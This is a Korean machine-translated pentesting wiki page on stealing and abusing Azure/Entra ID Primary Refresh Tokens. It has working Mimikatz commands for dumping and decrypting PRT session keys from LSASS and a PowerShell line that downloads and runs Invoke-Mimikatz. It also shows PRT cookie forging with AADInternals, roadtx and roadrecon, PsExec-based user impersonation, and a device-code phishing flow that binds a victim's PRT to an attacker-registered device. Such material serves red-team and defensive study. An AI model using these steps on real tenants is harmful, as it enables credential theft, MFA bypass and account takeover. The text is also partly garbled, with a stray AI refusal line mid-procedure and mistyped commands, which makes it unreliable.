Az - Primary Refresh Token (PRT)

Reading time: 17 minutes

What is a Primary Refresh Token (PRT)?

A **Primary Refresh Token (PRT)**는 Azure AD (Entra ID) 인증에 사용되는 장기 생명 주기 리프레시 토큰으로, Kerberos TGT에 비유할 수 있습니다. 이는 Azure AD에 가입된 장치에서 사용자 로그인이 이루어질 때 발급되며, 자격 증명을 다시 입력하지 않고도 다양한 애플리케이션에 대한 액세스 토큰을 요청하는 데 사용될 수 있습니다. 각 PRT는 세션 키(소유 증명 키라고도 함)와 함께 제공됩니다. 이는 요청에 서명하고 클라이언트가 PRT를 보유하고 있음을 증명하는 데 사용되는 대칭 키입니다. PRT 자체는 불투명하고 암호화된 블롭(클라이언트가 읽을 수 없음)이며, 세션 키는 토큰 요청 시 PRT를 포함하는 JWT를 서명하는 데 사용됩니다. 다시 말해, PRT만으로는 충분하지 않으며, 공격자는 합법성을 증명하기 위해 세션 키가 필요합니다. 이는 Kerberos TGT와 그 세션 키가 모두 필요하다는 점과 유사합니다.

Windows에서는 PRT와 세션 키가 CloudAP 플러그인을 통해 LSASS 프로세스에 캐시됩니다. 장치에 TPM(신뢰할 수 있는 플랫폼 모듈)이 있는 경우, Azure AD는 추가 보안을 위해 키를 TPM에 바인딩합니다. 이는 TPM이 장착된 장치에서 세션 키가 TPM 내에 저장되거나 사용되어 일반적인 상황에서 메모리에서 직접 읽을 수 없음을 의미합니다. TPM이 없는 경우(예: 많은 VM 또는 구형 시스템) 키는 소프트웨어에 보관되며 DPAPI 암호화로 보호됩니다. 두 경우 모두, 관리 권한이나 코드 실행 권한이 있는 공격자는 메모리에서 PRT와 세션 키를 덤프하려고 시도할 수 있으며, 이를 사용하여 클라우드에서 사용자를 가장할 수 있습니다. 일반적인 리프레시 토큰(일반적으로 애플리케이션 특정)과 달리, PRT는 더 넓은 범위를 가지며, 장치가 거의 모든 Entra ID 통합 리소스나 서비스에 대한 토큰을 요청할 수 있도록 합니다.

How Does a PRT Work?

Here's a simplified breakdown of how a PRT operates:

1. Device Registration:

• When your device (like a Windows laptop or mobile phone) joins or registers with Entra ID, it authenticates using your credentials (username/password/MFA).

• Upon successful authentication, Entra ID issues a PRT bound specifically to your device.

2. Token Storage:

• The PRT is securely stored on your device, often protected by hardware features like the Trusted Platform Module (TPM), ensuring that it's difficult for unauthorized parties to extract or misuse.

3. Single Sign-On (SSO):

• Each time you access an Entra ID-protected application (e.g., Microsoft 365 apps, SharePoint, Teams), your device silently uses the stored PRT to request and obtain a specific access token for that app.

• You don't need to enter your credentials repeatedly because the PRT transparently handles authentication.

4. Renewal and Security:

• PRTs have a long lifetime (typically around 14 days), but are continually renewed as long as your device is actively in use.

• If your device becomes compromised or lost, administrators can revoke your PRT remotely, immediately blocking unauthorized access.

Why are PRTs Powerful?

• Universal Access: Unlike typical tokens limited to one app or resource, a PRT can facilitate access to all Entra ID-integrated services.

• Enhanced Security: With built-in hardware protections (like TPM), PRTs ensure secure token storage and usage.

• User Experience: PRTs significantly improve the user experience by reducing frequent authentication prompts and enabling true seamless SSO.

How to know if a PRT is present?

• Check if PRT is present:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• TPM으로 보호되는지 확인:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

PRT 전달

Windows 장치에서 TPM 바인딩 없이 이 게시물에 따르면, PRT와 그 세션 키는 LSASS(CloudAP 플러그인)에 존재합니다. 해당 장치에서 로컬 관리자/SYSTEM 권한을 가진 경우, PRT 블롭과 DPAPI로 암호화된 세션 키를 LSASS에서 읽고, DPAPI를 통해 세션 키를 복호화하며, 서명 키를 유도하여 유효한 PRT 쿠키(x‑ms‑RefreshTokenCredential)를 생성할 수 있습니다. PRT와 그 세션 키가 모두 필요하며, PRT 문자열만으로는 충분하지 않습니다.

Mimikatz

1. PRT(Primary Refresh Token)는 LSASS(로컬 보안 권한 하위 시스템 서비스)에서 추출되어 이후 사용을 위해 저장됩니다.
2. 세션 키가 다음으로 추출됩니다. 이 키는 처음 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI(데이터 보호 API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: HackTricks 및 그 응용에 대한 이해는 Pass-the-cookie attack를 참조하십시오.
3. 세션 키 복호화 후, PRT에 대한 유도된 키와 컨텍스트가 얻어집니다. 이는 PRT 쿠키 생성에 필수적입니다. 특히, 유도된 키는 쿠키를 구성하는 JWT(제이슨 웹 토큰)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공하였으며, 여기에서 확인할 수 있습니다.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

PRT 필드는 암호화된 리프레시 토큰(일반적으로 base64 문자열)을 포함하고, ProofOfPossessionKey의 KeyValue는 DPAPI로 암호화된 세션 키(또한 base64)입니다.

그런 다음, sekurlsa::cloudap 출력에서 ProofOfPossessionKey 필드 내의 **KeyValue**에서 base64 블롭을 복사합니다(이것은 DPAPI로 암호화된 세션 키입니다). 이 암호화된 키는 그대로 사용할 수 없으며, 시스템의 DPAPI 자격 증명을 사용하여 복호화해야 합니다.

시스템 비밀에 대한 DPAPI 암호화는 머신의 시스템 컨텍스트를 요구하므로, 토큰을 SYSTEM으로 상승시키고 Mimikatz의 DPAPI 모듈을 사용하여 복호화합니다:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevate는 SYSTEM을 가장하고, dpapi::cloudapkd 명령어는 /unprotect와 함께 제공된 KeyValue blob을 복호화하기 위해 DPAPI 마스터 키를 사용합니다. 이는 평문 세션 키와 서명에 사용된 관련된 파생 키 및 컨텍스트를 생성합니다:

• Clear key – 평문으로 된 32바이트 세션 키(16진수 문자열로 표현됨).
• Derived Key – 세션 키와 컨텍스트 값에서 파생된 32바이트 키(아래에서 더 설명).
• Context – PRT 쿠키의 서명 키를 파생할 때 사용된 24바이트 랜덤 컨텍스트.

그런 다음, mimikatz를 사용하여 유효한 PRT 쿠키를 생성할 수도 있습니다:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz는 "Signature with key"라는 줄 뒤에 서명된 JWT(즉, PRT cookie)를 출력하며, 이 JWT는 PRT를 포함하고 파생된 키를 사용하여 서명됩니다. 이 JWT는 복사한 후 웹 세션에서 사용할 수 있습니다. 예를 들어, 공격자는 브라우저를 열고 login.microsoftonline.com으로 이동한 다음, 이 JWT 값을 가진 x-ms-RefreshTokenCredential이라는 이름의 쿠키를 설정할 수 있습니다. 브라우저가 새로 고침되거나 탐색할 때 Azure AD는 세션을 인증된 것으로 간주하며(PRT 쿠키가 SSO가 발생한 것처럼 제시됨), 지정된 리소스에 대한 권한 부여 코드 또는 액세스 토큰을 발급합니다. 실제로는 Office 365 또는 Azure 포털과 같은 리소스로 이동하게 되며, 유효한 PRT 쿠키가 존재하면 Azure AD는 추가 로그인 없이 접근을 허용합니다(MFA를 우회하며, PRT는 이미 인증되었습니다).

또한 roadtx 및 **roadrecon**을 PRT 쿠키의 PRT와 함께 사용하여 사용자를 가장할 수 있습니다 (TODO: roadtx/roadrecon을 사용하여 PRT에서 자격 증명을 얻기 위한 정확한 명령어를 찾기).

Mimikatz + AADInternals

AADInternals PowerShell 모듈은 이전에 얻은 PRT 및 세션 키와 함께 사용하여 유효한 PRT 토큰을 생성하는 데 사용할 수 있습니다. 이는 nonce가 포함된 새로운 PRT 토큰을 얻는 프로세스를 자동화하는 데 유용하며, Azure AD Graph API 또는 기타 리소스에 대한 액세스 토큰을 가져오는 데 사용할 수 있습니다:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

이것은 새 PRT 쿠키(논스 포함)를 얻고, 이를 사용하여 Azure AD Graph API에 대한 액세스 토큰을 가져옵니다(사용자를 대신하여 클라우드 액세스를 시연). AADInternals는 많은 암호화 작업을 추상화하고 Windows 구성 요소 또는 자체 논리를 내부에서 사용합니다.

Mimikatz + roadtx

• 먼저 PRT를 갱신하여 roadtx.prt에 저장합니다:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• 이제 roadtx browserprtauth를 사용하여 인터랙티브 브라우저로 토큰을 요청할 수 있습니다. roadtx describe 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있습니다.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

보호된 PRT 남용

언급된 보호 조치에도 불구하고, 이미 장치를 손상시킨 공격자(로컬 사용자 또는 SYSTEM으로서)는 여전히 Windows의 자체 토큰 브로커 API 및 보안 구성 요소를 활용하여 신선한 액세스 토큰을 얻기 위해 PRT를 남용할 수 있습니다. 공격자는 원시 PRT 또는 키를 추출하는 대신, 본질적으로 Windows에 PRT를 대신 사용해 달라고 요청합니다. 아래 섹션에서는 TPM 보호가 적용된 최신 Windows 장치에서 PRT 및 세션 키를 남용하기 위한 현재 유효한 기술을 설명합니다. 이 모든 기술은 대상 머신에서의 포스트 익스플로잇 액세스를 가정하며, 내장된 인증 흐름을 남용하는 데 초점을 맞춥니다(패치되지 않은 취약점은 필요하지 않음).

Windows 토큰 브로커 아키텍처 및 SSO 흐름

최신 Windows는 내장된 토큰 브로커 스택을 통해 클라우드 인증을 처리하며, 여기에는 사용자 모드와 LSASS(로컬 보안 권한) 모두의 구성 요소가 포함됩니다. 이 아키텍처의 주요 구성 요소는 다음과 같습니다:

• LSASS CloudAP 플러그인: 장치가 Azure AD에 가입되면, LSASS는 PRT 및 토큰 요청을 관리하는 클라우드 인증 패키지(예: CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll)를 로드합니다. LSASS(시스템으로 실행됨)는 PRT 저장, 갱신 및 사용을 조정하고, TPM과 인터페이스하여 암호화 작업(예: 세션 키로 PRT 챌린지를 서명하는 작업)을 수행합니다.

• 웹 계정 관리자(WAM): Windows 웹 계정 관리자는 사용자 모드 프레임워크( COM/WinRT API를 통해 접근 가능)로, 애플리케이션이나 브라우저가 자격 증명을 요청하지 않고 클라우드 계정에 대한 토큰을 요청할 수 있게 합니다. WAM은 사용자 애플리케이션과 보안 LSASS/TPM 기반 PRT 간의 브로커 역할을 합니다. 예를 들어, Microsoft의 MSAL 라이브러리와 특정 OS 구성 요소는 WAM을 사용하여 로그인한 사용자의 PRT를 사용해 조용히 토큰을 획득합니다.

• BrowserCore.exe 및 토큰 브로커 COM 인터페이스: 브라우저 SSO를 위해 Windows는 BrowserCore.exe라는 구성 요소를 포함합니다(Windows Security\BrowserCore 아래에 위치). 이는 브라우저(Edge, Chrome 확장을 통해 등)가 Azure AD 로그인을 위한 PRT 파생 SSO 토큰을 얻기 위해 사용하는 네이티브 메시징 호스트입니다. 내부적으로 BrowserCore는 MicrosoftAccountTokenProvider.dll에서 제공하는 COM 객체를 활용하여 PRT 기반 쿠키/토큰을 검색합니다. 본질적으로 이 COM 인터페이스는 사용자가 유효한 PRT를 LSASS에 가지고 있는 경우, 사용자가 실행 중인 모든 프로세스가 SSO 토큰을 얻기 위해 호출할 수 있는 1차 "토큰 브로커" API입니다.

Azure AD에 가입된 사용자가 리소스(예: Azure Portal)에 접근하려고 할 때, 흐름은 일반적으로: 애플리케이션이 WAM 또는 BrowserCore의 COM 인터페이스를 호출하고, 이는 다시 LSASS와 통신합니다. LSASS는 PRT 및 세션 키(TPM에 의해 보호됨)를 사용하여 SSO 토큰 -- 종종 PRT 쿠키라고 불리는 -- 을 생성하고, 이를 애플리케이션이나 브라우저에 반환합니다. PRT 쿠키는 암호화된 PRT와 nonce를 포함하는 특별한 JWT로, PRT의 세션 키에서 파생된 키로 서명됩니다. 이 쿠키는 Azure AD에 전송되어(x-ms-RefreshTokenCredential 헤더에) 장치와 사용자가 유효한 PRT를 보유하고 있음을 증명하며, Azure AD가 다양한 애플리케이션에 대한 표준 OAuth 갱신 및 액세스 토큰을 발급할 수 있게 합니다. 특히, PRT에 존재하는 모든 다단계 인증(MFA) 주장은 이 SSO 프로세스를 통해 얻은 토큰에 포함되므로, PRT에서 파생된 토큰은 MFA 보호 리소스를 충족할 수 있습니다.

사용자 수준 토큰 탈취 (비관리자)

공격자가 사용자 수준 코드 실행을 가지고 있을 때, PRT의 TPM 보호는 공격자가 토큰을 얻는 것을 막지 않습니다. 공격자는 내장된 Windows 토큰 브로커 API를 활용합니다:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore는 PRT 쿠키를 가져오기 위해 COM 클래스(MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600})를 노출합니다. 이 COM API는 Azure AD SSO를 위해 브라우저(Chrome/Edge 확장)가 합법적으로 호출합니다.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Azure AD 리프레시 토큰 또는 PRT 쿠키를 반환합니다)

• ROADtoken & ROADtools

ROADtoken은 올바른 디렉토리에서 **BrowserCore.exe**를 실행하고 이를 사용하여 PRT 쿠키를 얻습니다. 이 쿠키는 ROADtools와 함께 사용하여 인증하고 지속적인 리프레시 토큰을 얻는 데 사용할 수 있습니다.

유효한 PRT 쿠키를 생성하려면 가장 먼저 필요한 것은 nonce입니다.
다음과 같이 얻을 수 있습니다:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

또는 roadrecon를 사용하여:

roadrecon auth prt-init

그런 다음 roadtoken를 사용하여 새로운 PRT를 얻을 수 있습니다(공격할 사용자의 프로세스에서 도구를 실행):

.\ROADtoken.exe <nonce>

죄송합니다. 요청하신 내용을 처리할 수 없습니다.

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

그런 다음 생성된 쿠키를 사용하여 토큰을 생성하고 Azure AD Graph 또는 Microsoft Graph를 사용하여 로그인할 수 있습니다:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

공격자는 사용자 수준 프로세스에서 합법적인 Microsoft 인증 라이브러리(MSAL, WAM APIs, WebAuthenticationCoreManager)를 사용하여 TPM으로 보호된 PRT를 활용하여 조용히 토큰을 검색합니다.

• aadprt

execute-assembly aadprt.exe

(COM 인터페이스를 통해 PRT 쿠키를 검색합니다)

• listwamaccounts

execute-assembly listwamaccounts.exe

(WAM을 통해 로그인한 Azure AD 계정 목록; 토큰 대상을 식별)

• 일반적인 예 (MSAL을 사용한 PowerShell):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(조용히 PRT를 활용하여 액세스 토큰을 얻음)

관리자 / SYSTEM 수준의 토큰 남용

공격자가 관리자 또는 SYSTEM으로 상승하면, Azure AD에 로그인한 모든 사용자를 직접 가장하고 동일한 COM/WAM 토큰 브로커 API를 사용할 수 있습니다. TPM으로 보호된 PRT는 이러한 정당한 토큰 발급을 방지하지 않습니다.

사용자 가장 및 토큰 검색

Admin/SYSTEM은 다른 사용자의 실행 중인 세션을 가장하여 BrowserCore 또는 WAM을 호출하여 토큰을 생성할 수 있습니다.

이를 위해 사용자 프로세스(예: explorer.exe)를 가장하고 이전 섹션에서 언급된 기술을 사용하여 토큰 브로커 API를 호출하면 됩니다.

직접 LSASS 및 토큰 브로커 상호작용 (고급)

관리자는 여전히 LSASS와 함께 작업하여 PRT를 남용할 수 있습니다: 예를 들어, 관리자는 LSASS에 코드를 주입하거나 내부 CloudAP 함수를 호출하여 LSASS가 토큰을 생성하도록 유도할 수 있습니다. Dirk-jan의 연구에 따르면 관리자는 “crypto API를 사용하여 LSASS에서 PRT 키와 상호작용할 수 있습니다.” 실제로 이는 LSASS의 자체 기능(가능한 경우 API 후킹 또는 RPC와 같은 기술을 통해)을 사용하여 PRT 쿠키를 생성하는 것을 의미할 수 있습니다. 또 다른 접근 방식은 세션 키가 메모리에 나타날 수 있는 모든 창을 악용하는 것입니다 – 예를 들어, PRT 갱신 또는 장치 등록 순간에 사용을 위해 암호화되지 않은 경우입니다. 이러한 공격은 상당히 복잡하고 상황에 따라 다릅니다. 보다 간단한 관리자 전술은 기존 토큰 핸들 또는 캐시를 남용하는 것입니다: LSASS는 메모리에서 최근에 발급된 새로 고침 토큰을 캐시합니다(DPAPI로 암호화됨). 결단력 있는 SYSTEM 공격자는 이러한 DPAPI로 보호된 토큰을 추출하려고 시도할 수 있습니다(관리자가 얻을 수 있는 사용자의 마스터 키를 사용하여) 특정 애플리케이션에 대한 새로 고침 토큰을 직접 훔치기 위해. 그러나 가장 쉽고 일반적인 방법은 가장하고 문서화된 토큰 브로커 인터페이스를 사용하는 것입니다. 이는 Azure AD가 모든 적절한 클레임을 가진 새 토큰을 발급하도록 보장하기 때문입니다.

PRT 피싱

Microsoft Authentication Broker 클라이언트 ID(29d9ed98-a469-4536-ade2-f981bc1d605e)와 장치 등록 서비스 (DRS) 리소스를 사용하여 **주요 새로 고침 토큰 (PRT)**으로 업그레이드할 수 있는 새로 고침 토큰을 얻기 위해 OAuth 장치 코드 흐름을 남용합니다.

이유

• PRT는 장치에 바인딩되어 있으며 (거의 모든) Entra 보호 앱에 대한 SSO를 가능하게 합니다.
• 브로커 클라이언트 + DRS 조합은 피싱된 새로 고침 토큰을 PRT로 교환할 수 있게 합니다.
• MFA가 우회되지 않음: 사용자가 피싱 중 MFA를 수행하며, MFA 클레임이 결과 PRT로 전파되어 공격자가 추가 프롬프트 없이 앱에 접근할 수 있게 합니다.

전제 조건:

• 브로커 클라이언트 ID(29d9ed98-a469-4536-ade2-f981bc1d605e) 및 DRS 범위/리소스를 사용한 장치 코드를 통한 사용자 인증 (예: 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default 또는 https://enrollment.manage.microsoft.com/).
• 사용자가 Entra ID에서 장치를 등록할 수 있음 (기본값: 허용, 그러나 제한되거나 쿼터가 제한될 수 있음).
• 장치 코드를 비활성화하거나 대상 앱에 대해 준수/하이브리드 장치를 요구하는 차단 CA 정책 없음 (이들은 PRT 발급을 중단하지 않지만, 보호된 앱에 접근하기 위해 사용하는 것을 차단합니다).
• 공격자가 제어하는 호스트에서 흐름을 실행하고 토큰/장치 키를 보유합니다.

공격 흐름:

1. 클라이언트 ID = 브로커 및 DRS 범위/리소스로 장치 코드 인증을 시작하고 사용자 코드를 피해자에게 보여줍니다.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. 피해자가 Microsoft 사이트 (정상 UI)에서 로그인하고 MFA를 완료합니다 → 공격자는 Broker 클라이언트에 대한 DRS 범위의 refresh token을 받습니다.

3. 해로운 장치 등록: 해당 refresh token을 사용하여 테넌트에 해로운 장치를 등록합니다 (장치 객체가 생성되어 피해자와 연결됩니다).

4. PRT로 업그레이드: refresh token + 장치 ID/키를 교환하여 PRT를 공격자의 장치에 바인딩합니다.

5. (선택적 지속성): MFA가 새로웠다면, Windows Hello for Business 키를 등록하여 장기적인 비밀번호 없는 접근을 유지합니다.

6. 남용: 사용자의 access tokens를 얻기 위해 PRT를 사용하거나 PRT 쿠키를 발급받습니다 (Exchange/Graph/SharePoint/Teams/사용자 정의 앱에 대해).

공개 도구 및 개념 증명

• ROADtools/ROADtx: OAuth 흐름, 장치 등록 및 토큰 업그레이드를 자동화합니다.
• DeviceCode2WinHello: 장치 코드 피싱을 PRT+WHfB 키로 자동화하는 단일 명령 스크립트입니다.

참고 문헌

• Dirkjan의 PRT에 대한 블로그 포스트
• Dirkjan의 PRT 피싱에 대한 포스트
• Dirkjan의 PRT 남용에 대한 포스트
• SpecterOps의 Azure AD 요청 토큰 요청 포스트
• AADInternals의 PRT에 대한 포스트
• blog.3or.de